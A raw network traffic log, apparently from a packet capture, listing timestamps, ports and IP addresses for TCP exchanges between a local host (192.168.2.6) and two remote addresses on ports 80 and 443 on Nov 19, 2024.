Nov 19, 2024 01:01:24.114882946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114903927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114911079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114924908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114928007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114964008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115009069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115025043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115041971 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115073919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115084887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115094900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115098953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115123034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115127087 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115139961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115149021 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115155935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115179062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115205050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115211010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115230083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115257025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115271091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115282059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115282059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115288019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115346909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115346909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115372896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115403891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115417004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115417957 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115446091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115447044 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115469933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115494013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115541935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115557909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115590096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115601063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115603924 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115617037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115633011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115648031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115649939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115668058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115679026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115711927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115736008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115777016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115780115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115792990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115813017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115834951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115848064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115864038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115890026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115911007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115925074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115926981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115943909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115952015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115961075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115968943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.115978003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115992069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.115998983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116008997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116028070 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116106033 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116148949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116153955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116167068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116209984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116230965 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116240025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116255999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116271973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116286039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116288900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116302013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.116327047 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.116362095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119538069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119554043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119577885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119592905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119596004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119609118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119625092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119626045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119658947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119661093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119683981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119692087 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119700909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119725943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119726896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119743109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119759083 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119769096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119786978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119793892 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119802952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119822025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.119828939 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119849920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.119884968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120028973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120044947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120059967 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120078087 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120096922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120110035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120112896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120140076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120141029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120157957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120173931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120177031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120193958 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120196104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120214939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120224953 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120229006 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120256901 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120284081 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120395899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120448112 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120465994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120482922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120512009 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120527983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120657921 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.120665073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120688915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120706081 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120719910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120724916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120738029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120754004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120769978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120774984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120784998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120801926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120807886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120819092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120826960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120837927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120852947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120862961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120896101 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.120930910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.120976925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.121000051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.121052980 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.121355057 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.121371031 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.121891975 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.121895075 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.144841909 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.145551920 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.145571947 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.146054029 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.146059990 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.251574039 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.251663923 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.251744986 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.268734932 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.268760920 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.268768072 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.268774033 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.269731045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269767046 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269781113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269823074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.269834995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269848108 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.269864082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269877911 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269897938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.269925117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269939899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.269958019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270010948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270201921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270248890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270252943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270272017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270297050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270344973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270373106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270390034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270406008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270415068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270431995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270447016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270451069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270462990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270478964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270489931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270493984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270504951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270510912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270541906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270629883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270679951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270706892 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270723104 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270725965 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270744085 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270761967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270764112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270781040 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270802975 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270826101 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270867109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270881891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.270910978 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.270926952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271116972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271125078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271132946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271157026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271174908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271178961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271203995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271220922 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271226883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271254063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271275997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271416903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271460056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271779060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271821976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271823883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271863937 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271868944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271883965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271899939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271920919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271954060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.271969080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.271995068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272010088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272011995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272027016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272042036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272042990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272057056 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272059917 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272075891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272089958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272099972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272108078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272141933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272142887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272160053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272386074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272392035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272398949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272401094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272412062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272470951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272515059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272531033 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272548914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272557020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272566080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272583008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272592068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272598982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272627115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272643089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272648096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272656918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272679090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272703886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272757053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272824049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272840977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272850037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272882938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272901058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.272945881 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272973061 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272989035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.272999048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273036003 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273081064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273097038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273112059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273127079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273133039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273144007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273170948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273206949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273300886 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273343086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273363113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273377895 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273405075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273422003 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273474932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273488998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273503065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273519039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273519039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273540020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273571968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273610115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273626089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273642063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273653030 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273667097 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273668051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273685932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273689985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273710012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273713112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273730993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273731947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273747921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273751974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273765087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273772001 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273797989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273802996 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273819923 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273828983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273842096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273876905 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273922920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.273974895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.273998022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274013996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274041891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274070978 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274097919 CET	80	49736	185.215.113.206	192.168.2.6
